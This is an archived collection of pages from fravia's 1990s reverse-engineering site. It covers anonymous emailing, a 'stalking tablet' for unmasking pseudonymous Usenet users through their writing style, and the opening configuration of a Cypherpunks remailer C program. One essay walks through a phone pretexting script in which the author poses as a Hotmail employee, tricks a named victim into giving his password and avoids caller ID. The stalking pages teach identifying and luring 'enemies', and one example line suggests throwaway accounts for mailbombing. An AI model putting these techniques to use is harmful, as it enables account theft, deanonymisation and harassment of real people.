AOL, Compuserve, Infonie and all other BIG dynamic IP providers have been called "the largest anonymous
remailers in the world,". They allow up to eight screen email-names, each of which is a pseudonym traceable only by
the dynamic provider on request by law enforcement. Yet, disks offering various free months trial periods are quite
easy to come by. I don't think you need more to understand what this implies (if you'r connecting to the web from
your portable 'on the road', that is :-)
Of course a real reverser may want to have a look at the c code of a remailer in order to improve it, crack it, or just
understand it :-)
And try This inference query for more info...

Now, if you have never done it before, go ahead and try a couple of simple anonymous emailings first. Leave the advanced
stuff and settings for later. Email yourself and choose as subject 'my first anonymous email'. In a couple of months time, if
you study some of the tips above, you won't believe that you were not able to do it before :-)

Back to the top of this gorgeous page

Essays

Better E-Mail Anonymity


The basics of SMTP and telnet used to explain how to enhance anonymity (FAA_006)
by a295225(at)hotmail, 25 June 1999

Making an anonymous mailer

http://www.instinct.org/fravia/anonema.htm (5 of 6) [2/7/2001 3:30:36 PM]


anonema.htm: fravia's anonimity academy (Anonymous e-mailing ~ private and newsgroups)

Messing with data structures (FAA_007)


by +Zer0, 24 September 1999

Back to the top of this gorgeous page

Fravia's Anonymity Academy


homepage links +ORC bots wars students' essays counter measures
bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere

http://www.instinct.org/fravia/anonema.htm (6 of 6) [2/7/2001 3:30:36 PM]


luring.htm: Enemy investigation: how to lure your enemies on the web

Luring and social engineering


tricks
...

(Updated: June
Fravia's Anonymity Academy Luring and social engineering
1999)

Luring and social


engineering
(Fravia shows you what you
can do - or try - and where
you can learn some
advanced luring techniques)
~
Enemy tracking, a very difficult art, can be
divided into stalking, reversing language patterns
and luring. In order to stalk you need a deep
knowledge of Usenet spamming (and war)
techniques like flaming, trolling and
crossposting. A good reverser can moreover
easily 'reconstruct' (part of) the snailtrail of his
enemies and defeat their smoke curtains applying
some easy semantical reverse engineering tricks.
Finally the reverser will lure his targets into the
open web and identify it.
0) Some simple stalking tools
1) General stalking techniques
1.1) Simple email stalking techniques
2) Reversing language patterns
3) Luring and social engineering tricks

http://www.instinct.org/fravia/luring.htm (1 of 2) [2/7/2001 3:30:56 PM]


luring.htm: Enemy investigation: how to lure your enemies on the web

Luring and social engineering


The various techniques of Luring (preparation, page-setting, bait-tracking, multiple luring) are described
on a page of my site that has NOT yet been opened, for 'ethical' reasons (I will have to devise an 'ethical'
strainer to allow access there, but I do not have the time at the moment). Yet there are some essays about
social engineering that I wish to publish. And you'll still find something in this 'in fieri' Luring Lab...
social_1.htm: An example of social engineering, one of the easiest ways to gather informations, by
_A&T, June 1999

fravia's antispam related page

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/luring.htm (2 of 2) [2/7/2001 3:30:56 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

Fravia's Anonymity Academy

fravia's Enemy tracking


G
anonymity 2) Language patterns and the
O stalking tablet
pages (Fravia's semantical reverse
T engineering tricks)

C Enemy tracking
updated
End July 1998
~
Enemy tracking, a very difficult art, can be
divided into stalking, reversing language

H 1) General stalking
techniques
patterns and luring. In order to stalk you
need a deep knowledge of Usenet spamming
(and war) techniques like flaming, trolling
2) Reversing language and crossposting. A good reverser can
A patterns
3) Luring and social
moreover easily 'reconstruct' (part of) the
snailtrail of his enemies and defeat their
smoke curtains applying some easy semantical

! engineering tricks
Fravia's Nofrill
Web design
reverse engineering tricks. Finally the
reverser will lure his targets into the open
web and identify it.
(1998)
1) General stalking techniques
2) Reversing language patterns
3) General stalking techniques

Reversing language patterns


I have randomly taken from today post two snippets :-)
Now tell me, this one:
man..could ya pleeeeez send me ( if ya got it ) the Casmate crack ???
need the shit bad..gonna d/l the software directly form the casmate site..
And this one:
I subscribe to a very good service: LinkAlarm that periodically
checks the links on my pages (now well over 200 links). Do you use it?
have been written by the same person?
The answer is NO, they have been written by two different persons, but how can I be so sure? The language patterns differ, yet
this could of course be intentional. You will know why, I believe, as soon as you have read the content of this page.
(*I have published it at the bottom, in reverse order, you'll check later :-)
Well, reversing language patterns seems to be something pretty new: I could not find much on the web. So I'll try to
summarize, and slowly add in this page, what I have noticed experimentally until now. I'll also teach you my own best stalking
method: Fravia's stalking tablet (TM :-)

http://www.instinct.org/fravia/lanpat.htm (1 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

Please take note that in the following, as usual in our reversing tradition, with "target" I intend the person (and pseudo) you
want to find more data about (and if possible his real identity)
There are many 'inconscious' characteristics in someone's writings and ramblings, and contraryly to what you may think, email
comunication does indeed carry A LOT of clues that are as useful as theusual body language clues you costantly check when
you comunicate physically with someone or all the clues given by your partner's voice when you are at the telephone.
Some of these clues are of linguistical, other of grammatical and others are of what I would call 'Internettical' type... with this I
mean clues that neither voice nor paper printed comunication usually convoy.
Since we must start from somewhere, as first clue I would use the "gender" differences.
For gender here I do not mean that you can state if your target is a woman or a man (if you could it would be probably a pretty
poor target :-)
I mean that you can state if your target uses 'male' or 'female' patterns in his communication... chances are that if he uses these
patterns under one bogus identity, he'll use them under all other ones as well... :-)
Now, please, understand me correctly, because I do not want to be pulled into any useless 'gender style' discussion... and I
know that many American friends are obsessed by this kind of crap (writing she/he and so on). So let's be clear: I have always
been convinced that, apart from minor obvious physical differences, there is NO real difference between Women and Men, in
all good or evil characteristics of our specie. Women can (and of course should, with bona pace of all species of religious
idiotical fundamentalists) drive, kill, write, love, play and fight as well as any man, and anyway there are so many women with
male psychological characteristics and so many men with female psychological characteristics that I believe it does not make
much sense to differenciate anything between the twin parts of our race.
Yet among the few physical differences cited above is the well known fact that women give birth to children, and this, added to
society pressures, common tradition, biased instruction, television crap, advertisement conditioning, you name it, makes a LOT
of almost inconscious differences and can actually give us the possibility of reversing (in part) the 'gender leaning' language
patterns of our target.
In other words analysing usenet style emailings you may check if your target has a more "female" or a more "male" personality
basing on the following:
The male style is characterized by adversariality: put-downs, strong often contentious assertions, lengthy and/or frequent
postings, self-promotion, and sarcasm (not always witty).
The female-gendered style, in contrast, has two aspects which typically are found together: supportiveness and attenuation.
Male-targets use more coarse and abusive language and seem to change their opinions slightly less often than females-targets.
Female-targets send more messages explicitly referring to other members of the group than Male-targets.
Context differences certainly may obscure or speciously highlight your results. Always work cum grano salis. In the usual
context of Internet discussion groups "normal" group psychology does not apply. Group membership on usenet is very large
and members do not know all others in the group (especially if there are a large number of "lurkers", people who read
messages but does not write responses and therefore are invisible inside the discussion).
Morever on Usenete the task is mostly not to produce a specific result, but rather to generate ideas and discuss them.
Male-gendered targets in discussion groups use language that a) states facts without personal ownership, b) challenges group
members, c) calls for explicit action, d) is argumentative, e) uses coarse and abusive language, and f) attempt to indicates the
members status.
Female-gendered targets in discussion groups use a language that a) self-discloses, b) states personal ownership of opinion, c)
apologizes, d) asks questions, e) uses "we" pronouns, f) responds directly to others in the group, and g) seeks to prevent or
alleviate tension or arguments.
Exactly as we have a male/female differenciation, there are MANY other 'sharp edges' that you can use to stalk your target, as
you will see in my tablet below.
Keep in mind that computer conversation draws from features of both written and oral discourse and as such has a whole serie
of linguistic and textual patterns: Emphatic, Humorous, Informal.
Syntactic informality often takes the form of incomplete sentences and conversational cadences. For isntance

http://www.instinct.org/fravia/lanpat.htm (2 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

"Waitamoment!... what d'you mean?"; "Hmm, I see. . ."; "Mmm, no, no... I didn't mind
it..."
The informal, conversational rhythm created by the "Hmm", "Mmm" and the ellipsis is clearly intended to evoke (although
through written means) spoken discourse. Similarly, , "Wouw", "Sigh", "Gulp" and "Gasp" are used occasionally to mimic
vocalizations or paralinguistic features.
Another device used to mimic characteristics of speech is the textual indication of emphasis on words or phrases (present in
many messages). For example, some targets OFTEN use capital letters to create the sense of oral emphasis, others *use
asterisks*, others S P A C E S and some use the html tags, inside their emails, <u> for this same purpose </u>.
Such emphasis cannot be indicated in the written text using underlining or italics, obecause most protocols for exchanging
electronic mail, don't support them yet (expect an explosion of clues as soon as colors will be commonly email exchanged :-)
All these clues depend from the alphanumeric characters of written text, that are used to evoke the emphasis of speech.
In some cases, exclamation points add oral emphasis, as in the subject line "No No! Flush it!!"
Yet there are also involontary clues:
A good stalker always takes note of how many exclamation points and how many question marks the target 'commonly' uses.
There are many different patterns:
?
? (space and question mark)
??
???
??? and so on
This is of course true also for commas, colons,semicolons , and (parenthesis ) that may or may not be spaced before the
preceding word.
Another typical involontary clue is due to the 'typing habits' of your target. He may, for instance, often enough write
'inetresting' instead of 'interesting'; 'nuff' instead of 'enough', and so on and so on. This is of course pretty rare, yet it happens in
less evident parts of the message. For instance, does your target break line
when he wants to substantiate a point? Does he write short or long sentences? Does he use tirets - like this - or rather
parenthesis (like this)? And what about his emotycons? :-] is NOT :o)
Finally, does he write "i use" or "I use"? Often enough email is sent WITHOUT any automated spelling correction check
whatsoever.
There are also 'comportamental" e-mail clues, for instance there are some email comments, on a thread, that at times clearly
resemble those that occur in a face-to-face meeting, when a speaker turns towards and briefly addresses one of the individuals
present, but without yielding the floor to that person: "What's your opinion about this, Brick?" "Hope to hear from Cal about
this stuff!
This kind of attitude pattern can constitute a very STRONG clue when you try to identify a target.
Another example is when you suspect, examining the thread, the existence of private, backchannels between your target and
somebody else.
Backchannels, on usenet, are nothing else than the electronic communication between two or more individuals that is not sent
to the group as a whole.
This can at times be evinced from the contexts. Such messages, like whispered side conversations in a meeting, involve
concerns or strategies adopted by allies on particular issues.
In this cases you may try to find out which are the 'allies' and the 'reference points' of your target inside the group and attack
from those sides.
You'll VERY FREQUENTLY find this when you stalk trolls (see enemy.htm), because trolls are trollyng mostly IN ORDER
to find and contact other trolls-savy.
Yet another 'comportamental' example is the interplay among MORE THAN ONE fictious identities. In Balif's example (see
enemy.htm), you have seen how his target used a whole plethora of faked personalities in order to create a 'group' impression.
Of course the more fictious identities you identify, the easier it is to see the common sharp edges they possess.

http://www.instinct.org/fravia/lanpat.htm (3 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

Thus the language of Usenet demonstrates several characteristics more typical of oral communication in an organizational
setting, casual conversation or, rather, organized meetings.
In fact the syntax and word choice often evoke conversational informality, emphasis, rhythm, and even vocalizations. On the
other hand, the messages may also evince characteristics of written discourse such as formal wording, careful composing and
editing, and textual formatting.
A typical case is when there is a LIST of points
1) inside

2) your target's

3) email

There is also at times an interesting evidence of patterns that are a distinctively characteristic of web interaction. Many
messages display ascii graphic, typographical ascii jokes, signets and subject line humor, patterns also that are very unlikely in
written and oral discourse. All such patterns ca be, at times, interesting clues.
These clues and patterns reflect both the capabilities of the web and the characteristics of the group. The interactivity of oral
discourse is in fact supported and encouraged on Usenet by the ability to engage in rapid exchanges and to collect and respond
to embedded excerpts of previous messages. At the same time the asynchronous nature of the web and the editing capabilities
of the participants' email applications allow reflection and crafting patterns more characteristic of the written discourse. The
web's ability to support informal textual exchanges allow a playful relationship with the text, or to indulge in flaming.
Of course all sort of interaction, the characteristics of the individual targets, their social community, and their motherlanguage
influence the particular combination of linguistic and textual characteristics that they express.
Do not underestimate the richness and complexity of email communication... as soon as you'll have learned your stalking abc
you'll never miss much all the clues that the real, non virtual world gives you when you communicate.
Now have a look at the semplified version of fravia's stalking tablet (TM):

Fravia's stalking tablet, public version 2.003, end july


1998
Target name: enemy@somewhere.com Candidate: sillybozo@that.one
Clue Definition Example Target Candidate
measure whether or not the message
body gives clues about frequent typing "inetresting enough" "'nuff said" "gimme a note"
TICS
mistakes/particularities of the author: 0 "least, but not last"
= no, 1 = yes.
verbal self-disclosure, statements by "I'll trade ya shit", "I still like Netscape", "I'm an
SELF the author of the message about the email junkie", "My hair is black" but not "My
author of the message: 0 = no 1=yes. mother's hair is black" or "My cat is black"
"the distinction between amateur and
measure whether or not the message
professional" "I gave him an acknowledging
GRAMMAR body gives clues about the education of
e-mail wave and he answered in kind " "an
the author: 0 = no, 1 = yes.
unjustifiable extravagance"
measure statements of the personal
opinion of the message author; it had to
"I think lusers should be banned", "Chocolate is
OPINION indicate the first person directly or
a favorite flavor of mine", "I love lollypops".
indirectly. 0 = no opinion was present,
1 = opinion was present.

http://www.instinct.org/fravia/lanpat.htm (4 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

measure statement of fact (whether or


not the fact was correct), without first "God has created the earth and Winsconsin."
FACT person reference to the message sender: "The government is loaded with freeloaders."
0 = no statement of fact, 1 = one or "Communists rule." But not "according to me"
more statements of fact.
"operands which are addresses will get added the
image base of the DLL" "get a trowaway
measure whether or not the message
account at any third-party service provider so as
body gives clues about the level of
KNOWLE to throw a bulk mailbomb past his first line
computer/internet knwoledge of the
blocks. The account will cease to exist in short
author: 0 = no, 1 = yes.
order, but you'll have already tested his precious
defending bots"
measure whether or not the message "women always make the best trollees as they
body gives clues about characteristical have a logical reasoning capacity of zilch" "the
BIAS
idiosyncrasies of the author: 0 = no, 1 = mark of a gullible American that will almost
yes. certainly believe anything you tell him"
measure any form of apology (implied "I wanted to apologize" "I am sorry I said what I
APOLOGY or direct): 0 = no apology present; said", "I take my words back", "please accept my
1=slight apology; 2 = clear apology. apologies."
measure the presence of questions: 0 = "How can I ban him from this group?", "Where
QUESTION
no, 1 = yes. can I find Softice?."
measure any call for action on the part
"Visit this URL" "Write your congressman."
ACTION of the reader: 0 = no, 1 = main content
"Go see this movie."
of the message.
"Demonstrate that you can hack that backdoor!"
measure the presence of a challenge,
CHALLENGE "I challenge you to support that statement."
dare, or bet: 0 = no, 1 = yes.
"Let's see if you can do that."
measure whether or not the message
"what the cuckoo are you saying?" (german) "I
FOREIGN body gives clues about the mother
am conscient " (french) "Settember" (italian)
language of the author: 0 = no, 1 = yes.
measure degree of agreement or
disagreement with another person or
statement previously appearing in the
group discussion. 0 = no reference to "I really agree with Bertie." "I think Bertie and
COALIT1
another person's message, 1 = mild Godzill's ideas suck."
response to other persons on the group,
2 = strong response to other persons on
the group.
measure the use of the first person
"We are dealing with a DLL here" "We seem to
COALIT2 plural pronouns (we, us) towards others
be able to takle these guys well." "Good for us!"
on the group 0 = no, 1 = yes.
measure levels of argumentativeness of
a message: 1 = positive, neutral or no "I have to take issue with you on that one."
FLAME1 opinion to 6 = hostile: profanity, "Only a real dork would hack such a stupid
tirades, to 10 = ignoring completely the server."
original issue.
measure levels of the use of coarse or
abusive language in a message: 0 = no "I can only say that you must be a real asshole."
FLAME2 abusive language to 10 = abusive "F*uck you." "You sure do go to great lengths to
aggression about content and persons in make yourself looking like an asshole."
and out of the group.

http://www.instinct.org/fravia/lanpat.htm (5 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

measure efforts to prevent or alleviate


tensions or arguments in the discussion: "I think things are getting out of hand here. Let's
FLAME3
0 = no such efforts, 1 = tries to calm cool the tirades and get back to the point."
ongoing tension.
measure whether or not the message
"WarezDood" "mwr (Master "white" reverser)"
body or header give clues about the
STATUS "Sysop" "ThATVerYSpEcia1Dudez"
personal status of the author: 0 = no, 1
"Administrative contact: "
= yes.
measure the reliability of email
TIME timings: 0 = no statement possible, 10 See headers
= target always emails at 15:00 GMT
"July is really pretty hot this year!" (northern
measure the reliability of geographical
emisphere); "I had to call the Landrat"
GEOGRA clues: 0 = no statement possible, 10 =
(Germany/Austria) "No kidding? Here in
target lives in Indianapolis
Detroit?"
Gotcha! (0=FALSE 1=TRUE)
I don't think it needs a lot of explanations, keep in mind that the PURPOSE of the above tablet is not so much to understand
directly WHO is your target, but to understand if your target is in reality the one candidate you suspect. Once you have zeroed
in, you'll stalk the (presumibly less protected) other PSEUDO in order to find out -if all works well- WHO is your target... and
some luring techniques (and social engineering) will at that moment be quite useful, see my luring.htm section...

A word of warning:

You found my site and you are reading this, therefore you have now a relatively "high" level of web-lore and reversing
knowledge.
Until recently I kept this section of mine in a "closed" server with other mildly powerful and potentially dangerous tutorials
and tools. I am now going public with my stalking lore because spamming has taken incredibly annoying proportions and I
have decided to create as many powerful reversers as possible in order to tackle and destroy the commercial idiots.
Yet, as you perfectly know, knowledge can be used either for good or for evil. Knowledge, especially this kind of knowledge,
is a powerful weapon. You may use it to defend yourself but you may not use it to offend innocents
I hope to have you at my side, fighting on the web for knowledge and against all commercial zombies, but I cannot avoid that
you join the dark side if you want to... if you do, however, take care not to meet me.

This section of my site, under perennial construction, was started on 31 July 1998
1) general stalking 3) luring

fravia's antispam related page

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998. All rights reserved

*) Answer to the 'two snippets' question... Hey! Try to find the solution by yourself BEFORE reading the following!

http://www.instinct.org/fravia/lanpat.htm (6 of 7) [2/7/2001 3:31:02 PM]


lanpat.htm: Enemy investigation: Language patterns and the stalking tablet

decaps era teppins tsrif eht fo kram noitseuq dna sisehtnerap eht

http://www.instinct.org/fravia/lanpat.htm (7 of 7) [2/7/2001 3:31:02 PM]


social_1.htm: An example of social engineering

An example of social engineering


One of the easiest ways to gather informations Not Assigned

21 June 1999 by _A&T


slightly edited
Courtesy of Fravia's pages of reverse engineering
by fravia+
Yes, this kind of social engineering tricks are very important, and
are actually part of the how to search section as well. Searchers
are well advised to learn the basic social engineering techniques.
Stalker needs to know them as well. Hackers need social
engineering quite a lot and Crackers almost as much. Come to
think of it it would wonder me that you, dear reader, will never find
fra_00xx an use for this kind of lore...
980621 Note also the simple, yet deep truth underlined by _A&T: "if you
_A&T are trained in computer sciences, you unconsciously tend to think
0000 that everything that is easy for you is easy also for the others; well,
NA it's not! All the knowledge you have built during many years is a
PC mystery for them. On the net, you often find expert and trained
people, because it's the right place to find them. Everywhere else in
the world, they are rare". How true, and how important! I notice
myself how annoyed I often get for the slow pace that most
relatives, friends or collegues of mine use when dealing with PC or
Web-related stuff. What's obvious for anyone of us is a mistery for
most fellow humans, funny, but also, maybe, ahem, "resourceful",
as well... eheh :-)
There is a crack, a crack in everything That's how the light gets
in
Rating (X)Beginner ( )Intermediate ( )Advanced ( )Expert

I'm not a native English speaker, as you will soon discover reading this :-), so please forgive any
mistakes.

An example of social engineering


One of the easiest way to gather informations
Written by _A&T

http://www.instinct.org/fravia/social_1.htm (1 of 5) [2/7/2001 3:31:06 PM]


social_1.htm: An example of social engineering

Introduction
Often you spend a lot of energy trying to gather informations using all the net resources you can think
of... and that's ok, but sometimes there is another method, easier and quicker. Reading this you will find I
started the other way round, that is, I had some 'real world' infos and used them to get 'virtual' ones,
something you have probably often overlooked.

Tools required
A working brain.
A telephone.

Target's URL/FTP
(none)

Program History
(none)

Essay
Yeah, after reading several essays from Fravia's pages we are all experts in cracking apps, searching the
web and stalking enemies, aren't we? If we want to find someone on the net, we know we have lots of
tools to begin with, like Dejanews, or DNS records. Now I want to tell you of a powerful technique,
which is mainly used for hacking-related efforts, but works well almost whenever you can apply it.
Social engineering means "fooling people into telling you what you want to know, even if they are told
not to/you are not entitled to/they don't want to/and so on".
The 99% theory
The most astonishing aspect is that it works! The reason goes more or less like this: of the 6 billions
people in the world, 1% are intelligent beings, the other 99% blindly follow their lead. No, I am not
saying that they have no brain: the previous sentence applies for each aspect of our life separately. For
example, I can not paint like Bilibin :-), nor I will able to do it in my entire life. For this, I reside on the
99% side. But talking of computers, I know only one guy who can beat me (in 'real' life, of course, the
Net is full of talented people), so I feel I stay on the 1% side. I bet the same is true for the majority of
you, since you are reading Fravia's pages. If not, carry on and study some more essays, you will surely
change your status.
What all that means for us? It's easy to guess: if you are trained in computer sciences, you unconsciously
tend to think that everything that is easy for you is easy also for the others; well, it's not! All the

http://www.instinct.org/fravia/social_1.htm (2 of 5) [2/7/2001 3:31:06 PM]


social_1.htm: An example of social engineering

knowledge you have built during many years is a mystery for them. On the net, you often find expert and
trained people, because it's the right place to find them. Everywhere else in the world, they are rare.
Now to the interesting part: after have picked up your "victim", he/she will almost surely reside on the
99% 'blind' side, and you have a huge advantage: you simply know what you are talking about, he does
not.
I will give you a small example, very simple and straightforward, but I am lazy and this is the first which
came to my mind, since it's the last I did.
So there was a guy, the story is long and I am going to write down only the relevant parts. I exchanged
some e-mail with him, and I was sure he was hiding something important to me. Here are the relevant
things I knew of him:
He was from my own country, so there was no language barrier
(this is a must! If you cannot speak his language very well, you have almost lost)
He had a hotmail account, so I knew his login name

He was not a computer guru, at 99% level

So what? Well, I wanted to read his past mail. I was betting that, like most 99%-sided people, he was not
deleting it after reading. So I tricked him to tell me his snail-mail address, which people often give away
with little concern, btw. A quick call to the local telephone company gave me his number.
Here begins the difficult part: you have to play the 'perfect employee' role.
Find a quiet place, possibly with some low 'office' sound on the background.

You should be alone, with no one listening to your call.

If you think your victim has a caller ID, that is, he can track the number you are calling from,
'borrow' some telephone at work or somewhere else.
Take some deep breaths, your voice must be polite and look used to telephone conversations, try to
learn from all the telephonists you talk with.
If you are a woman and your victim is a man, you have another little psychological advantage over
him, talk with a happy tone and he will answer everything you ask :-)
If you can exibit a good knowledge of his personal data, he will gladly fill just that small gap you
need.

I picked up the telephone and called him, at 8.30am.

(conversation translated)
"Good morning sir, I am (insert faked name here), I am willing to speak with mr. (insert victim's name
here)"
"Yes, hold on please"
....
"Hello, I am (victim's name)"
"Good morning sir, I am an employee of the local Hotmail agency (btw, I don't think Hotmal has 'local
agencies'), I am sorry I am calling you so early..."
"Uh, hotmail, well, I was having breakfast, but it doesn't matter" (victim is surprised)
"I was able to call you because of the personal data form you filled when creating your account, so don't
be surprised" (with eye-blinking tone)

http://www.instinct.org/fravia/social_1.htm (3 of 5) [2/7/2001 3:31:06 PM]


social_1.htm: An example of social engineering

"My pers.. oh, yes"


"I have to inform you that we had a hard disk crash tonight, and we are trying to restore all our user's
mail."
"A crash? Is my mail lost?"
"Oh no, sir, we can restore it. But, since we are simple employees, and we are not allowed to mess with
our user's mail, we need your password, otherwise we cannot take any action"(first try, probably
unsuccessfull)
"Er, my password? Well..."
"Yes, I know, you have read on the license agreement that we will never ask for it, but it was written by
the legal department, you know, all law stuff that's needed to open business and such. (effort to gain
victim's trust)
Your username is (insert victim's username), isn't it? Legals gave us your username and telephone, but,
as smart as they are, not the password. See, without your password nobody can access your mail, even
we hotmail employees. But we have to restore your mail, and we need access. You can be sure we will
not use your password for anything else, well, we will forget it." (smiling)
"Well, it's not so secret (also smiling! it's amazing...), my pass is xxxxxx"
"Thank you very much, sir. We will restore your mail in a few minutes"
"But no mail is lost, isn't it?"
"Absolutely, sir. You should not experience any problems, but do not hesitate to contact us just in case.
You will find contact numbers on our web page" (which our victim has probably never read from begin
to end)
"Thanx, you are very efficient, goodbye"
"Goodbye"

And that's all. You see, nothing difficult. This time was easy, because no questions came from the victim.
Often you need a ready imagination to reply with convincing arguments. You don't need to be, just
pretend you are, and remember that you are on the 1% side :-)

Final Notes

(none)

Ob Duh
Obviously all this essay talks about some theoretical situation. Tricking people into giving away their
password is illegal in some countries, and if you take every word literally this text could be seen as
illegal as well. But you are smart, don't you?, so you can see the irony between the lines.

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/social_1.htm (4 of 5) [2/7/2001 3:31:06 PM]


social_1.htm: An example of social engineering

homepage links search_forms +ORC students' essays academy database


reality cracking how to search java-script wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/social_1.htm (5 of 5) [2/7/2001 3:31:06 PM]


http://www.instinct.org/fravia/remailer.c

/* Cypherpunks Type 1 Anonymous Remailer */


/* Code published on http://www.fravia.org on 26 November 98 */

#undef CONFIGURED

/* REMAILER INSTALLATION AND CONFIGURATION INSTRUCTIONS

First, load the file remailer.c into your favorite editor. You will see a
series of #define statements at the beginning. These should be changed to
suit your needs. The values are:

DIR - The directory path where the remailer is.

ANONFROM - This is what is used as the From line when the remailer sends
an anonymous message. It should begin with From: and end with a \n

ANONREPLYTO - This is used for "Reply-To: wherever \n" to discourage replies.

REMAILERFROM - This is what should go in the From line when the remailer
returns a help or stats response. It should also begin with From: and
end with \n

REMAILERADDRESS - The address of the remailer. This should contain the


remailer's email address only.

RETURN (Optional) - If defined, the remailer calls sendmail with the -f


option and uses this as the return address. Generally, errors or bounces
will get sent to this address.

DISCLAIMER - Any header you want inserted into an anonymous message to


identify where to send complaints, etc

NONANONDISC - A header to be inserted into messages when sent with the


non-anonymous forwarding feature.

SPOOL - The file to append non-remailer messages to. Usually


/var/spool/mail/remailer if the account is named "remailer".

SPAM_THRESHOLD (optional) - If more than this number of messages arrive


before they can be processed, the remailer will stop processing
messages. This is to prevent spams and mailbombs. If this happens,
you will need to remove the extra messages from the in.queue directory
before the remailer will function again.

WAIT_SEC (optional) - After delivering a message, the remailer will wait


this many seconds before delivering another one. Increasing this value
can reduce system load, but will make it possible to reach the spam
threshold more easily.

DEFAULT_LATENCY (optional) - If this is defined, any message which does


not have a latent-time header will have a random delay added to it, not
exceeding this number of seconds. (1 hour = 3600 seconds)

PGP - The pathname of your PGP executable


PGPPASS - The password to the remailer's PGP secret key.
PGPPATH - Sets the PGPPATH environment variable. Normally the same as DIR

INEWS - The pathname to the INEWS executable for usenet posts.


If this is not defined, the remailer does not allow posting.
Often /usr/lib/news/inews, but may be different depending on your system.
NNTPSERVER - The NNTP server to use for posting. If defined, sets the

http://www.instinct.org/fravia/remailer.c (1 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

enviornment variable NNTPSERVER when calling INEWS.

LS - The ls program. Usually /bin/ls


SENDMAIL - Sendmail. Usually /usr/lib/sendmail

The rest are the names of the files the remailer uses. They are all
relative to DIR, and except for remailer-help, are created by the remailer
if they do not exist. You shouldn't need to change them. They are:
BLOCKFROM: the name of the source block list (default: source.block)
BLOCKTO: the name of the destination block list (default: dest.block)
INQUEUE: The directory for incoming messages (default: in.queue)
OUTQUEUE: The directory for outgoing messages (default: out.queue)
TEMPDIR: Directory for temporary files (default: temp)
STATSDATA: File to keep usage statistics in (default: statsdata)
HELPFILE: The "remailer-help" file

After setting up the remailer, compile it by typing:


gcc remailer.c -o remailer

Next, create a PGP key for the remailer. Be sure the password matches the
one you put in remailer.c, and put the pubring and secring in the directory
you set for PGPPATH. Extract the key with ascii armor and put it into the
remailer-help file. Be sure to have a randseed.bin file in the directory,
or PGP will not run properly.

Finally, create a .forward file in your home directory. In it, put a | as


the first character, followed by the complete pathname of the remailer
executable. For example, if the remailer was in the home directory of the
account "remailer", and user directories were under /home, you would put:
|/home/remailer/remailer

The remailer should now be operational. Send a test message from another
account to be sure it works. If you defined a default latency, you will
need to put a Latent-Time: +0:00 header to get an immediate response.

Address Blocking

Two files specify lists of addresses to block. Any message coming from an
address specified in the source.block file is discarded. Any message sent
to an address in the dest.block file is similarly discarded. The dest.block
file can also be used to block posts to newsgroups. The blocking files
consist of a list of addresses, one on each line. Addresses will be matched
regardless of whether it is upper or lower case. A * may be used as a
wildcard. For example, spammer@*.velveeta.com would block the address
spammer at any subdomain of velveeta.com. Any line beginning with
a ! is an exclusion, and the address following it will be unblocked even
if it matched a previous line. An exclusion must come after the line
which would block it. Any line beginning with a # is treated as a comment
line, and is ignored.

Message Delivery and Cron

Every time the remailer is run, it also checks the outgoing message queue
to see if there are any latent messages to be delivered. Ordinarilly the
messages will be delayed until the next time a message comes in, but you
can set up a cron job to deliver the waiting messages in a more timely
fashion. To get the remailer to deliver queued messages, execute the
remailer and send it an empty message with the command: remailer </dev/null

http://www.instinct.org/fravia/remailer.c (2 of 19) [2/7/2001 3:31:13 PM]


http://www.instinct.org/fravia/remailer.c

/* END OF INSTALLATION INSTRUCTIONS */

/* ----------------------------------------- */
/* Modify these variables to fit your system */
/* ----------------------------------------- */

#ifndef CONFIGURED

#define DIR "/home/remailer"


#define ANONFROM "From: nobody@foo.com (Anonymous)\n"
#define ANONREPLYTO "Reply-To: unsupported@localhost (This remailer doesn't support
replies)\n"
#define REMAILERFROM "From: remailer@foo.com (Foo Remailer)\n"
#define REMAILERADDRESS "remailer@foo.com"
#define RETURN "remailer@foo.com"
#define DISCLAIMER "Comments: Please report misuse of this automated remailing service to
<remailer-admin@foo.com>\nComments: The message sender's identity is unknown, unlogged,
and not replyable.\n"
#define NONANONDISC "Comments: This message was forwarded by an automated remailing
service. No attempt was made to verify the sender's identity, whcihis unknown and not
logged. Reply messages will not reach the sender. Please report misuse to
<complaints@site>\n"
#define SPOOL "/var/spool/mail/remailer"
#define SPAM_THRESHOLD 25
#define WAIT_SEC 30
#define DEFAULT_LATENCY 3600

#define PGP "/usr/local/bin/pgp"


#define PGPPASS "password"
/* Boy is this real secure leaving the password around like this! */
#define PGPPATH DIR
#define INEWS "/usr/lib/news/inews"
#define NNTPSERVER "127.0.0.1"
#define LS "/bin/ls"
#define SENDMAIL "/usr/lib/sendmail"

#define BLOCKFROM "source.block"


#define BLOCKTO "dest.block"
#define INQUEUE "in.queue"
#define OUTQUEUE "out.queue"
#define TEMPDIR "temp"
#define HELPFILE "remailer-help"
#define STATSDATA "statsdata"
#define SPAMWARNFILE "spam-warn"
#endif CONFIGURED

/* ------------------------------------------------------ */
/* You shouldn't need to modify anything beyond this line */
/* ------------------------------------------------------ */

/* History

Matt Ghio version on usura, Bill Stewart modified

/* End of history */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

